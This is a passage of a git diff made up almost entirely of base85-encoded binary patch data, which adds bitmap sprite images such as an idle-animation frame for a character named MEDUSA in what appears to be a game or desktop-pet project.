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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE1.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE1.bmp new file mode 100644 index 0000000000000000000000000000000000000000..3df095bc6fada4bc6545ac729fcbc2dcd66ca9f9 GIT binary patch literal 18462 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 